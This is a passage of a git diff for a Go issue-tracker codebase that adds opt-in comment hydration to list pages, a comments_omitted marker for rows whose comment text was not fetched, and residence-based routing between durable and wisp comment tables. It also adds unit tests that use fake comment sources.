comments := planeComments{ + issueComments: map[string][]*types.Comment{"bd-1": {{ID: "c1", Text: "zzzuniquephrase"}}}, + } + reader := planeReader(t, issues, comments) + + page, err := reader.List(context.Background(), publicops.ListRequest{IncludeComments: true}) + if err != nil { + t.Fatalf("List over a database with no wisps table: %v", err) + } + if got := commentTexts(page.Items[0]); !slices.Equal(got, []string{"zzzuniquephrase"}) { + t.Errorf("comments = %v, want [zzzuniquephrase]: with no wisps table, every row is durable", got) + } +} + +// TestListFailsWhenResidenceCannotBeRead is the other half of that tolerance: +// any OTHER failure of the routing query fails the call. Hydration promises the +// bodies or an error, and a page that cannot find out where its rows live can +// only keep that promise by saying so — falling back to a plane would answer with +// the wrong table's contents, which is invisible in the response. +func TestListFailsWhenResidenceCannotBeRead(t *testing.T) { + sentinel := errors.New("connection reset") + issues := &planeIssues{ + rows: []*types.IssueWithCounts{ + {Issue: &types.Issue{ID: "bd-1"}, CommentCount: 1}, + }, + wispErr: sentinel, + } + comments := planeComments{ + issueComments: map[string][]*types.Comment{"bd-1": {{ID: "c1", Text: "zzzuniquephrase"}}}, + } + reader := planeReader(t, issues, comments) + + _, err := reader.List(context.Background(), publicops.ListRequest{IncludeComments: true}) + if err == nil { + t.Fatal("List returned nil when residence could not be read, want an error") + } + if !errors.Is(err, sentinel) { + t.Errorf("error = %v, want it to wrap %v", err, sentinel) + } +} diff --git a/internal/types/types.go b/internal/types/types.go index df0f85263..37dbf345b 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1142,6 +1142,34 @@ type IssueWithCounts struct { DependentCount int `json:"dependent_count"` CommentCount int `json:"comment_count"` Parent *string `json:"parent,omitempty"` // Computed parent from parent-child dep (bd-ym8c) + + // CommentsOmitted is the list row's half of the ga-clgh contract + // IssueDetails.CommentsOmitted states for the detail view, and it is set + // under exactly the same rule: true only when CommentCount is nonzero AND + // the embedded Issue.Comments was left nil, never alongside a populated + // slice and never on a zero count. + // + // A LIST ROW NEEDS IT MORE THAN A DETAIL VIEW DOES (be-73x). A caller + // grepping a whole listing for a phrase that lives in a comment gets a + // plausible NON-ZERO answer with the matching rows missing — the shape + // that invites no suspicion at all, unlike an empty result. Without this + // marker nothing in the page says the text was never in scope. + // + // The comment BODIES ride on the embedded Issue.Comments, which already + // carries the `comments` key for export/import; this type adds only the + // marker, so a row that was hydrated and a row that was not are told + // apart by a field rather than by the caller remembering what it asked + // for. + // + // WHICH SURFACES SET IT, because this type is shared by more than the + // listing and an absent marker means different things on them. It is set + // by the page epilogue behind issueops.Reader.List — `bd list --json` on + // both routes, its --ready arm included, and GET /v0/beads/issues. It is + // NOT set by Reader.Ready (GET /v0/beads/ready) or by the claim response + // that returns this type, so on those an absent marker says nothing about + // whether a row's comments exist: read comment_count there. Extending the + // marker to them is be-ozp. + CommentsOmitted *bool `json:"comments_omitted,omitempty"` } // IssueDetails extends Issue with labels, dependencies, dependents, and comments. diff --git a/internal/workapi/detail.go b/internal/workapi/detail.go index e8b9480fd..648911fb9 100644 --- a/internal/workapi/detail.go +++ b/internal/workapi/detail.go @@ -218,7 +218,11 @@ func collectDependents(ctx context.Context, src DetailSource, id string, isWisp return out, nil } -func collectComments(ctx context.Context, src DetailSource, id string, isWisp bool) ([]*types.Comment, error) { +// collectComments takes the narrow CommentStreamer rather than the whole +// DetailSource because it reads exactly one method, and because the list-page +// hydration in list_comments.go calls the same body. DetailSource satisfies +// CommentStreamer, so BuildIssueDetails passes its source unchanged. +func collectComments(ctx context.Context, src CommentStreamer, id string, isWisp bool) ([]*types.Comment, error) { iter, err := src.IterComments(ctx, id, isWisp) if err != nil { return nil, fmt.Errorf("iter comments %s: %w", id, err) diff --git a/internal/workapi/list_comments.go b/internal/workapi/list_comments.go new file mode 100644 index 000000000..b5680f2e8 --- /dev/null +++ b/internal/workapi/list_comments.go @@ -0,0 +1,210 @@ +package workapi + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// CommentStreamer is the one method list-comment hydration needs off a detail +// source. It is named separately, and taken as the narrower interface, so the +// hydration body cannot quietly grow a second read: DetailSource satisfies it, +// and both of the sources that exist (NewStoreDetailSource, NewUOWDetailSource) +// are therefore usable here without a new adapter. +type CommentStreamer interface { + IterComments(ctx context.Context, id string, isWisp bool) (storage.Iter[types.Comment], error) +} + +// CommentPlanes answers, for one page of ids, which of them keep their comments +// on the WISP plane: an id the map reports true for is read from wisp_comments, +// and an id it reports false for or omits from comments. +// +// IT IS A QUERY, NOT A PREDICATE ON THE ROW, because residence is the answer +// and only a query has it. An earlier version of this body derived the plane +// from the row's own Ephemeral/NoHistory flags — issueops.IsWisp's rule, which +// is the right rule for routing a record being WRITTEN — and that inference is +// wrong on a read for a row class the tree deliberately maintains. `bd import` +// pins a `no_history` record to the durable table while PRESERVING the flag on +// the row (cmd/bd/import_shared.go, applyImportWispPlane: clearing it would +// change the content hash and break export→import→export byte-identity, so +// "only the routing is pinned"), and every clone materializes its database by +// importing JSONL. A promoted no-history bead that has been through +// export→import is therefore a durable row whose flags say wisp, and reading +// its comments by those flags queries wisp_comments, finds nothing, and answers +// with a nonzero comment_count, an empty comments array, no marker and no error +// — be-73x's own failure mode, under the flag whose contract is "gets them or +// gets an error". +// +// Every other comment-touching role already resolves residence instead of +// inferring it: GetIssueOrWisp behind both Reader.Get implementations and behind +// uow.commenter.AddComment, DoltStore.GetIssueComments through isActiveWisp, +// issueops.GetCommentCountsInTx through PartitionWispIDsInTx. So `bd comment` +// writes such a row's comments where `bd show` reads them, and a listing that +// went by the flags was the one role that disagreed with the other three about +// the same row. A page is that same question asked about many ids, so it is +// answered the same way, once per page rather than once per row. +type CommentPlanes func(ctx context.Context, ids []string) (map[string]bool, error) + +// SourceRoutesCommentPlanes is the CommentPlanes to pass when the comment +// source needs no plane told to it because it resolves each id itself: the +// store-backed source is the one that does (DoltStore.GetIssueComments picks +// the table from isActiveWisp), and it ignores the argument entirely. +// +// It is a NAMED no-op rather than a nil default so that the seam with a routing +// question and the seam without one are told apart at the call site, and so a +// third seam added later has to answer the question rather than inherit +// "durable" by omission — which is exactly how the wrong-table read described +// on CommentPlanes got in. +func SourceRoutesCommentPlanes(context.Context, []string) (map[string]bool, error) { + return nil, nil +} + +// HydrateListComments fills in the comment half of one list page. +// +// It is the shared epilogue step FinishPageAt is, and for the identical +// reason: `bd list --json` reaches this through two Reader.List +// implementations — the store-backed one and the unit-of-work one — and a +// hydration written out longhand in each is how the two came apart before. +// One body, called from both, is what makes a CLI listing and an HTTP one +// answer the same request the same way. +// +// TWO OUTCOMES, AND NEITHER IS SILENT. +// +// include = true every row's Issue.Comments is populated, and any row that +// cannot be read fails the whole call. A caller that asked +// for the bodies gets them or gets an error; it never gets a +// short list it has no way to detect. +// include = false every row with a nonzero CommentCount is marked +// CommentsOmitted, so an absent `comments` key means "none" +// on one row and "not asked for" on the other, and the row +// says which. +// +// THE SOURCE IS A CONSTRUCTOR, NOT A SOURCE, AND THAT IS LOAD-BEARING RATHER +// THAN STYLE. Comment hydration is opt-in, so the DEPENDENCY on a comment +// reader must be opt-in with it: building one eagerly on every listing makes a +// capability that only the opt-in path uses into a requirement every caller +// has to satisfy. It is not hypothetical — the unit-of-work source is built +// from four use-case accessors, and constructing it unconditionally turned +// every `GET /v0/beads/issues` on a provider without a comment use case into a +// panic, on a request that had asked for no comments at all. A count-only +// listing now calls nothing. +// +// THE MARKER IS THE POINT, not the hydration (be-73x). A page that silently +// carries no comment text answers a content search with a plausible non-zero +// result whose matching rows are missing, and nothing in that answer invites a +// second look. The count alone does not fix it: comment_count sits on the row +// accurately reporting how much is not there, which reads as reassurance +// rather than as a warning. +// +// A ZERO COUNT IS NOT ALWAYS ZERO COMMENTS, AND countsKnown IS WHAT SEPARATES +// THE TWO. Under issueops.ListRequest.SkipCounts the cardinalities come back +// zero meaning UNKNOWN — the request type says so in as many words — so a body +// that reads CommentCount as authoritative would answer IncludeComments with +// an empty page and no error. countsKnown false therefore means: query every +// row, because there is no count to prove a row has nothing to fetch, and mark +// no row omitted, because the marker asserts a nonzero count this page cannot +// support. +// +// It is a PARAMETER rather than an assumption because issueops.ListRequest is +// PUBLIC and permits both fields at once. An earlier version of this body +// skipped every row on that combination and justified it in a comment reading +// "the JSON route never sets SkipCounts" — true of today's CLI callers, and +// not a property of the contract they were reading. The HTTP surface and any +// future caller may set both. +// +// THE PLANE COMES FROM THE PAGE'S SEAM, NOT FROM THE ROW. Which comment table +// an id's comments live in is a fact about where the row was found, so the +// caller resolves it (CommentPlanes) rather than this body inferring it from +// the row's flags — see CommentPlanes for the row class where the flags and the +// table disagree, and why that made a listing answer with content-free rows. +func HydrateListComments(ctx context.Context, newSrc func() CommentStreamer, planes CommentPlanes, items []*types.IssueWithCounts, include, countsKnown bool) error { + if len(items) == 0 { + return nil + } + if !include { + if countsKnown { + markCommentsOmitted(items) + } + return nil + } + if newSrc == nil { + return fmt.Errorf("hydrate list comments: comment source must not be nil") + } + if planes == nil { + return fmt.Errorf("hydrate list comments: comment plane resolution must not be nil (pass SourceRoutesCommentPlanes when the source routes ids itself)") + } + rows := rowsNeedingComments(items, countsKnown) + if len(rows) == 0 { + return nil + } + src := newSrc() + if src == nil { + return fmt.Errorf("hydrate list comments: comment source must not be nil") + } + // One plane query for the whole page, and only for the rows that are about + // to be read: the ids are the same set the loop below walks, so a page that + // needs no comment read pays for no plane lookup either. + wisp, err := planes(ctx, rowIDs(rows)) + if err != nil { + return fmt.Errorf("hydrate list comments: resolve comment planes: %w", err) + } + for _, item := range rows { + comments, err := collectComments(ctx, src, item.ID, wisp[item.ID]) + if err != nil { + return fmt.Errorf("hydrate list comments: %w", err) + } + item.Issue.Comments = comments + } + return nil +} + +// rowsNeedingComments is the page narrowed to the rows a comment read has to be +// issued for, and it is what bounds both that read and the plane lookup. +// +// A row the page can PROVE has no comments needs no query. Only a hydrated +// count proves it: under SkipCounts a zero means unknown, and treating it as +// none is how this body once dropped every comment a caller had asked for. +func rowsNeedingComments(items []*types.IssueWithCounts, countsKnown bool) []*types.IssueWithCounts { + out := make([]*types.IssueWithCounts, 0, len(items)) + for _, item := range items { + if item == nil || item.Issue == nil { + continue + } + if countsKnown && item.CommentCount == 0 { + continue + } + out = append(out, item) + } + return out +} + +func rowIDs(items []*types.IssueWithCounts) []string { + out := make([]string, 0, len(items)) + for _, item := range items { + out = append(out, item.ID) + } + return out +} + +// markCommentsOmitted flags the rows whose comment text was never fetched. +// Rows the caller already hydrated are left alone: CommentsOmitted never +// appears beside a populated slice, which is what lets a consumer read the two +// fields as one unambiguous answer. +// +// It is called only when the counts are real. The marker's meaning is "this +// row HAS comments and they are not here", so a page whose counts were skipped +// cannot honestly set it on any row — it does not know. That page is less +// informative, which is what its caller asked for by skipping the counts. +func markCommentsOmitted(items []*types.IssueWithCounts) { + for _, item := range items { + if item == nil || item.Issue == nil { + continue + } + if item.CommentCount > 0 && item.Issue.Comments == nil { + omitted := true + item.CommentsOmitted = &omitted + } + } +} diff --git a/internal/workapi/list_comments_test.go b/internal/workapi/list_comments_test.go new file mode 100644 index 000000000..6f666dab0 --- /dev/null +++ b/internal/workapi/list_comments_test.go @@ -0,0 +1,440 @@ +package workapi + +import ( + "context" + "errors" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// fakeCommentStreamer records what was asked of it and answers from a map, so +// a test can assert on the CALLS as well as on the result. The recorded plane +// is the half no rendered output would show. +// +// It answers PER PLANE, like the storage it stands in for: comments put in byID +// are on the durable plane and comments put in wispByID on the wisp one, so a +// read of the wrong table comes back empty here exactly as it does against a +// database. That is what lets a test assert the comment TEXT rather than only +// the recorded plane flag — the defect this file's plane coverage exists for +// produced an empty array, not a wrong one. +type fakeCommentStreamer struct { + byID map[string][]*types.Comment + wispByID map[string][]*types.Comment + err error + calls []streamCall +} + +type streamCall struct { + id string + isWisp bool +} + +func (f *fakeCommentStreamer) IterComments(_ context.Context, id string, isWisp bool) (storage.Iter[types.Comment], error) { + f.calls = append(f.calls, streamCall{id: id, isWisp: isWisp}) + if f.err != nil { + return nil, f.err + } + if isWisp { + return storage.NewSliceIter(f.wispByID[id]), nil + } + return storage.NewSliceIter(f.byID[id]), nil +} + +// fakePlanes is the seam that knows where a row lives, which on the production +// unit-of-work path is a query against the wisps table. It records the ids it +// was asked about so a test can pin that the lookup is bounded to the rows a +// comment read is actually issued for — and that a page needing no read pays +// for no lookup. +type fakePlanes struct { + wisps map[string]bool + err error + asked [][]string +} + +// planesFor builds the answer for a page whose wisp-table residents are the +// given ids. Called with none, it is a page of durable rows. +func planesFor(wispIDs ...string) *fakePlanes { + wisps := make(map[string]bool, len(wispIDs)) + for _, id := range wispIDs { + wisps[id] = true + } + return &fakePlanes{wisps: wisps} +} + +func (f *fakePlanes) resolve(_ context.Context, ids []string) (map[string]bool, error) { + f.asked = append(f.asked, ids) + if f.err != nil { + return nil, f.err + } + return f.wisps, nil +} + +// noPlaneLookup fails the test if the plane is resolved at all, which is the +// same assertion the failing source constructor makes one layer up: the routing +// query is part of the READ, so a page that reads nothing must not pay for it. +func noPlaneLookup(t *testing.T) CommentPlanes { + t.Helper() + return func(_ context.Context, ids []string) (map[string]bool, error) { + t.Errorf("resolved comment planes for %v on a page that issues no comment read", ids) + return nil, nil + } +} + +// srcFunc adapts a fake to the lazy constructor HydrateListComments takes. +// The laziness is itself under test in TestHydrateListCommentsCountOnlyBuildsNoSource. +func srcFunc(src CommentStreamer) func() CommentStreamer { + return func() CommentStreamer { return src } +} + +func row(id string, commentCount int) *types.IssueWithCounts { + return &types.IssueWithCounts{ + Issue: &types.Issue{ID: id}, + CommentCount: commentCount, + } +} + +func comment(id, text string) *types.Comment { + return &types.Comment{ID: id, Text: text} +} + +// TestHydrateListCommentsMarksOmittedWithoutFetching pins the DEFAULT half of +// the contract, which is the half be-73x is actually about: a page nobody +// asked to hydrate must still say that its comment text is missing, and it +// must say so without paying for a single read. +func TestHydrateListCommentsMarksOmittedWithoutFetching(t *testing.T) { + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{ + "a-1": {comment("c1", "root cause")}, + }} + items := []*types.IssueWithCounts{row("a-1", 1), row("a-2", 0)} + planes := planesFor() + + if err := HydrateListComments(context.Background(), srcFunc(src), planes.resolve, items, false, true); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + + if len(src.calls) != 0 { + t.Errorf("count-only mode issued %d comment reads, want 0: the marker is derived from the count already on the row", len(src.calls)) + } + // The plane lookup is part of the read, so a page that reads nothing must + // not pay for it either: the marker path routes no query and so asks no + // table where anything lives. + if len(planes.asked) != 0 { + t.Errorf("count-only mode resolved comment planes %d times, want 0: nothing is being read, so nothing needs routing", len(planes.asked)) + } + if items[0].CommentsOmitted == nil || !*items[0].CommentsOmitted { + t.Errorf("CommentsOmitted = %v on a row with comment_count 1, want true: without it an absent comments field reads as none", items[0].CommentsOmitted) + } + if items[0].Comments != nil { + t.Errorf("Comments = %v in count-only mode, want nil", items[0].Comments) + } + // The zero-count row is the control. A marker on it would make the flag + // meaningless: every row would carry it and none would be informative. + if items[1].CommentsOmitted != nil { + t.Errorf("CommentsOmitted = %v on a row with no comments, want unset: a true empty stays plain omission", *items[1].CommentsOmitted) + } +} + +// TestHydrateListCommentsPopulatesBodies pins the opt-in half, and asserts on +// the COMMENT TEXT rather than on a length: the defect this fixes is that the +// text is unreachable, and a count of rows cannot tell a populated slice from +// a slice of empty ones. +func TestHydrateListCommentsPopulatesBodies(t *testing.T) { + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{ + "a-1": {comment("c1", "zzzuniquephrase"), comment("c2", "second")}, + }} + items := []*types.IssueWithCounts{row("a-1", 2), row("a-2", 0)} + planes := planesFor() + + if err := HydrateListComments(context.Background(), srcFunc(src), planes.resolve, items, true, true); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + + if got := len(items[0].Comments); got != 2 { + t.Fatalf("hydrated %d comments, want 2", got) + } + if got := items[0].Comments[0].Text; got != "zzzuniquephrase" { + t.Errorf("comment body = %q, want %q: the bodies are the whole point", got, "zzzuniquephrase") + } + if items[0].CommentsOmitted != nil { + t.Errorf("CommentsOmitted = %v beside a populated slice, want unset: the two fields must read as one unambiguous answer", *items[0].CommentsOmitted) + } + // A row with no comments is not queried at all, which is what keeps the + // per-row cost proportional to the rows that actually have text. + for _, call := range src.calls { + if call.id == "a-2" { + t.Errorf("issued a comment read for a row with comment_count 0") + } + } + // And the plane lookup covers that same narrowed set, not the whole page. + if len(planes.asked) != 1 || !slices.Equal(planes.asked[0], []string{"a-1"}) { + t.Errorf("resolved planes for %v, want one lookup for [a-1]: routing is asked about the rows being read", planes.asked) + } +} + +// TestHydrateListCommentsRoutesByResidenceNotFlags pins where the comment plane +// comes from, and the two rows in the middle of the table are the reason it is +// not the row's flags. +// +// Both of those rows are states the tree maintains on purpose. `bd import` pins +// a no_history record to the DURABLE table and preserves the flag on the row, +// because clearing it would change the content hash and break +// export→import→export byte-identity — so a promoted no-history bead that has +// been through a JSONL round-trip (which is how a clone materializes its +// database) is a durable row whose flags say wisp. The mirror case is an import +// record whose wisp_plane key pins it to the WISPS table with neither flag set. +// An earlier version of this body read Ephemeral || NoHistory, so it queried +// wisp_comments for the first and comments for the second, found nothing either +// way, and returned the row with its nonzero comment_count, no comments, no +// marker and no error — the silent hole be-73x exists to close, under the flag +// that promises the bodies or an error. +// +// The fixture puts each row's comments only on the plane it actually lives on, +// so a wrong-table read shows up as MISSING TEXT and not merely as a wrong flag +// in a recorded call. +func TestHydrateListCommentsRoutesByResidenceNotFlags(t *testing.T) { + cases := []struct { + name string + issue *types.Issue + inWisps bool + }{ + {"durable row, no flags", &types.Issue{ID: "a-1"}, false}, + // The flags say wisp and the table says durable: the import-pinned + // promoted bead. Residence wins. + {"durable row carrying no_history", &types.Issue{ID: "a-1", NoHistory: true}, false}, + // The mirror: the flags say durable and the row is in the wisps table. + {"wisp-table row carrying no flags", &types.Issue{ID: "a-1"}, true}, + {"wisp-table row carrying ephemeral", &types.Issue{ID: "a-1", Ephemeral: true}, true}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + src := &fakeCommentStreamer{} + planes := planesFor() + if tc.inWisps { + src.wispByID = map[string][]*types.Comment{"a-1": {comment("c1", "zzzuniquephrase")}} + planes = planesFor("a-1") + } else { + src.byID = map[string][]*types.Comment{"a-1": {comment("c1", "zzzuniquephrase")}} + } + items := []*types.IssueWithCounts{{Issue: tc.issue, CommentCount: 1}} + + if err := HydrateListComments(context.Background(), srcFunc(src), planes.resolve, items, true, true); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + + if len(src.calls) != 1 { + t.Fatalf("issued %d comment reads, want 1", len(src.calls)) + } + if src.calls[0].isWisp != tc.inWisps { + t.Errorf("read the %v plane for a row living on the %v plane", planeName(src.calls[0].isWisp), planeName(tc.inWisps)) + } + if got := len(items[0].Comments); got != 1 { + t.Fatalf("hydrated %d comments, want 1: a read of the other plane comes back empty, with a nonzero comment_count still on the row", got) + } + if got := items[0].Comments[0].Text; got != "zzzuniquephrase" { + t.Errorf("comment body = %q, want %q", got, "zzzuniquephrase") + } + if items[0].CommentsOmitted != nil { + t.Errorf("CommentsOmitted = %v on a hydrated row, want unset", *items[0].CommentsOmitted) + } + }) + } +} + +// TestHydrateListCommentsRequiresAPlaneAnswer pins that the routing question has +// to be ANSWERED rather than defaulted. +// +// A nil CommentPlanes would read every row on the durable plane, which is the +// wrong-table read of the test above wearing a default instead of an inference, +// and the seam that gets it wrong is the one whose source cannot detect it. A +// caller whose source routes ids itself says so by name +// (SourceRoutesCommentPlanes), so the two cases are distinguishable at the call +// site and a third seam has to make the choice rather than inherit it. +func TestHydrateListCommentsRequiresAPlaneAnswer(t *testing.T) { + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{"a-1": {comment("c1", "x")}}} + items := []*types.IssueWithCounts{row("a-1", 1)} + + if err := HydrateListComments(context.Background(), srcFunc(src), nil, items, true, true); err == nil { + t.Error("hydrating with no plane resolution returned nil, want an error: an unanswered plane defaults to a wrong-table read no caller can see") + } + if len(src.calls) != 0 { + t.Errorf("issued %d comment reads without knowing the plane, want 0", len(src.calls)) + } + // The marker path routes nothing, so it needs no answer and must not + // demand one: a caller can pass the same arguments either way. + if err := HydrateListComments(context.Background(), srcFunc(src), nil, items, false, true); err != nil { + t.Errorf("count-only mode with no plane resolution: %v", err) + } + // SourceRoutesCommentPlanes is the explicit form of "durable for everyone, + // and the source is the one that knows better". + if err := HydrateListComments(context.Background(), srcFunc(src), SourceRoutesCommentPlanes, items, true, true); err != nil { + t.Fatalf("HydrateListComments with SourceRoutesCommentPlanes: %v", err) + } + if len(src.calls) != 1 || src.calls[0].isWisp { + t.Errorf("calls = %v, want one durable-plane read: the source is left to route the id", src.calls) + } +} + +// TestHydrateListCommentsFailsWhenThePlaneIsUnknown extends hydrate-or-error to +// the routing lookup. A page that cannot find out where its rows live must not +// fall back to a guess: guessing is what returned empty comment arrays beside +// nonzero counts, and it is worse here because the failure would be invisible in +// the answer rather than reported in it. +func TestHydrateListCommentsFailsWhenThePlaneIsUnknown(t *testing.T) { + sentinel := errors.New("wisps table unreachable") + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{"a-1": {comment("c1", "x")}}} + planes := planesFor() + planes.err = sentinel + items := []*types.IssueWithCounts{row("a-1", 1)} + + err := HydrateListComments(context.Background(), srcFunc(src), planes.resolve, items, true, true) + if err == nil { + t.Fatal("HydrateListComments returned nil when the comment plane could not be resolved, want an error") + } + if !errors.Is(err, sentinel) { + t.Errorf("error = %v, want it to wrap %v", err, sentinel) + } + if len(src.calls) != 0 { + t.Errorf("issued %d comment reads after the plane lookup failed, want 0: a read on a guessed plane answers with the wrong table", len(src.calls)) + } +} + +func planeName(isWisp bool) string { + if isWisp { + return "wisp" + } + return "durable" +} + +// TestHydrateListCommentsFailsRatherThanShortening pins the promise that makes +// the opt-in half trustworthy. A caller that asked for the bodies and silently +// received fewer than exist is back in the failure this whole change removes, +// with no way to detect it. +func TestHydrateListCommentsFailsRatherThanShortening(t *testing.T) { + sentinel := errors.New("comment table unreachable") + src := &fakeCommentStreamer{err: sentinel} + items := []*types.IssueWithCounts{row("a-1", 1)} + + err := HydrateListComments(context.Background(), srcFunc(src), planesFor().resolve, items, true, true) + if err == nil { + t.Fatal("HydrateListComments returned nil on a failing read, want an error: a short list a caller cannot detect is the defect, not a degraded success") + } + if !errors.Is(err, sentinel) { + t.Errorf("error = %v, want it to wrap %v", err, sentinel) + } +} + +// TestHydrateListCommentsCountOnlyToleratesNoSource pins that the default path +// needs no comment source at all, which is what lets a caller pass one +// unconditionally without deciding whether it will be used. +func TestHydrateListCommentsCountOnlyToleratesNoSource(t *testing.T) { + items := []*types.IssueWithCounts{row("a-1", 3)} + if err := HydrateListComments(context.Background(), nil, planesFor().resolve, items, false, true); err != nil { + t.Fatalf("count-only mode with a nil source: %v", err) + } + if items[0].CommentsOmitted == nil || !*items[0].CommentsOmitted { + t.Error("count-only mode with a nil source did not mark the row omitted") + } + if err := HydrateListComments(context.Background(), nil, planesFor().resolve, items, true, true); err == nil { + t.Error("hydrating with a nil source returned nil, want an error") + } +} + +// TestHydrateListCommentsSkipsNilRows keeps the shared epilogue from panicking +// on a page shape a caller can legally hand it. +func TestHydrateListCommentsSkipsNilRows(t *testing.T) { + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{}} + items := []*types.IssueWithCounts{nil, {Issue: nil, CommentCount: 2}, row("a-1", 0)} + for _, include := range []bool{false, true} { + if err := HydrateListComments(context.Background(), srcFunc(src), planesFor().resolve, items, include, true); err != nil { + t.Fatalf("include=%v: %v", include, err) + } + } +} + +// TestHydrateListCommentsCountOnlyBuildsNoSource pins the laziness as a +// behaviour rather than an implementation detail. +// +// It is here because the eager version shipped and broke something: building +// the unit-of-work comment source unconditionally panicked for a provider that +// has no comment use case, on list requests that had asked for no comments. +// A count-only listing must not so much as CONSTRUCT a comment reader, so the +// constructor here fails the test if it is ever called. +func TestHydrateListCommentsCountOnlyBuildsNoSource(t *testing.T) { + built := 0 + newSrc := func() CommentStreamer { + built++ + t.Error("count-only hydration constructed a comment source; the dependency must be as opt-in as the feature") + return &fakeCommentStreamer{} + } + items := []*types.IssueWithCounts{row("a-1", 4), row("a-2", 0)} + + if err := HydrateListComments(context.Background(), newSrc, noPlaneLookup(t), items, false, true); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + if built != 0 { + t.Errorf("constructed %d comment sources in count-only mode, want 0", built) + } + if items[0].CommentsOmitted == nil || !*items[0].CommentsOmitted { + t.Error("count-only mode did not mark the row omitted") + } +} + +// TestHydrateListCommentsHonorsIncludeWhenCountsAreSkipped is the regression +// for the combination that made the count-based skip unsound. +// +// issueops.ListRequest.SkipCounts zeroes CommentCount and says in its own doc +// that a zero then means UNKNOWN. A body that reads the count as authoritative +// therefore answers IncludeComments with an entirely empty page — no error, no +// short-list marker, nothing. That is the same silent-omission failure this +// whole change exists to remove, reintroduced one layer down and reachable by +// any caller of a PUBLIC request type. +func TestHydrateListCommentsHonorsIncludeWhenCountsAreSkipped(t *testing.T) { + src := &fakeCommentStreamer{byID: map[string][]*types.Comment{ + "a-1": {comment("c1", "zzzuniquephrase")}, + }} + // Counts skipped: every row reports zero whether or not it has comments. + items := []*types.IssueWithCounts{row("a-1", 0), row("a-2", 0)} + planes := planesFor() + + if err := HydrateListComments(context.Background(), srcFunc(src), planes.resolve, items, true, false); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + + if len(src.calls) != 2 { + t.Fatalf("issued %d comment reads, want 2: with no trustworthy count, every row must be queried", len(src.calls)) + } + // The plane lookup widens with them: a page whose counts prove nothing + // cannot narrow the set whose residence has to be resolved either. + if len(planes.asked) != 1 || !slices.Equal(planes.asked[0], []string{"a-1", "a-2"}) { + t.Errorf("resolved planes for %v, want one lookup for [a-1 a-2]", planes.asked) + } + if got := len(items[0].Comments); got != 1 { + t.Fatalf("hydrated %d comments for the row that has one, want 1", got) + } + if got := items[0].Comments[0].Text; got != "zzzuniquephrase" { + t.Errorf("comment body = %q, want %q", got, "zzzuniquephrase") + } + if items[1].Comments != nil { + t.Errorf("row with genuinely no comments got %v, want nil", items[1].Comments) + } +} + +// TestHydrateListCommentsMarksNothingWhenCountsAreSkipped is the other side of +// the same unknown. CommentsOmitted asserts "this row HAS comments and they are +// not here"; a page whose counts were skipped cannot support that claim about +// any row, so it must make it about none rather than deriving it from a zero +// that means nothing. +func TestHydrateListCommentsMarksNothingWhenCountsAreSkipped(t *testing.T) { + items := []*types.IssueWithCounts{row("a-1", 0), row("a-2", 0)} + if err := HydrateListComments(context.Background(), nil, nil, items, false, false); err != nil { + t.Fatalf("HydrateListComments: %v", err) + } + for _, item := range items { + if item.CommentsOmitted != nil { + t.Errorf("%s carries comments_omitted on a page with no trustworthy counts, want unset: the marker would be a claim the page cannot support", item.ID) + } + } +} diff --git a/internal/workapi/storereader/reader.go b/internal/workapi/storereader/reader.go index bada86661..8c0c2bae1 100644 --- a/internal/workapi/storereader/reader.go +++ b/internal/workapi/storereader/reader.go @@ -127,6 +127,17 @@ func (r *storeReader) List(ctx context.Context, req issueops.ListRequest) (issue // one is presentation. This seam reports no HasMore of its own, so the // over-fetched row above is what speaks. items, hasMore := workapi.FinishPageAt(items, req.SortBy, req.Reverse, req.Offset, workapi.PageLimit(req), false) + // Comment hydration is the second shared epilogue step, and it runs AFTER + // the trim so a page never pays for rows it is about to drop. Its source is + // the detail view's, which routes an id to the right comment table on this + // seam without being told — so this seam answers the plane question by + // declining it, and buys no lookup for an argument its source ignores. The + // unit-of-work sibling is the one that must resolve residence, and it does + // (workapi.CommentPlanes). + newComments := func() workapi.CommentStreamer { return workapi.NewStoreDetailSource(r.store) } + if err := workapi.HydrateListComments(ctx, newComments, workapi.SourceRoutesCommentPlanes, items, req.IncludeComments, !req.SkipCounts); err != nil { + return issueops.IssuePage{}, err + } return issueops.IssuePage{Items: items, HasMore: hasMore}, nil } diff --git a/issueops/reader.go b/issueops/reader.go index a5b54cf78..0a0219f52 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -187,6 +187,34 @@ type ListRequest struct { // hydrated there either way, which costs time and not correctness. SkipCounts bool + // IncludeComments populates every row's Issue.Comments with that issue's + // full comment bodies, and is the LIST twin of GetRequest.IncludeComments. + // Like SkipLabels and SkipCounts it chooses what is HYDRATED, never which + // rows match: the rows, their order, Parent and the has-more verdict are + // what they would have been. + // + // IT IS OPT-IN BECAUSE IT COSTS A QUERY PER ROW, which is the same reason + // the detail view's twin is. A page of 50 is 50 comment reads; a listing + // asking for the whole store is that many. Nothing hydrates comments + // unless a caller asks. + // + // WHY THE KNOB EXISTS AT ALL (be-73x). comment_count has always been on + // the row and the bodies never were, so a caller searching a LISTING for + // text that lives in a comment gets a well-formed, non-empty, WRONG answer + // — the rows that match are simply absent, and no error, no zero and no + // short count marks them. That is the failure this knob exists to make + // answerable, which is why the unhydrated rows also carry + // types.IssueWithCounts.CommentsOmitted rather than staying silent. + // + // IT APPLIES TO BOTH ARMS, ReadyFlag included, and is neither carried nor + // refused by it: hydration runs in the shared page epilogue after the + // query, so it is not a filter the ready query has to be able to express. + // + // A row whose comments could not be read is an ERROR, not a short list. + // The detail view's IncludeComments makes the same promise for the same + // reason: a caller that asked for the rows gets them or gets told. + IncludeComments bool + // Brief suppresses the FREE-FORM TEXT the way SkipLabels suppresses labels // and SkipCounts the cardinalities: Description, Design, // AcceptanceCriteria, Notes, Payload and Waiters are not selected and come From 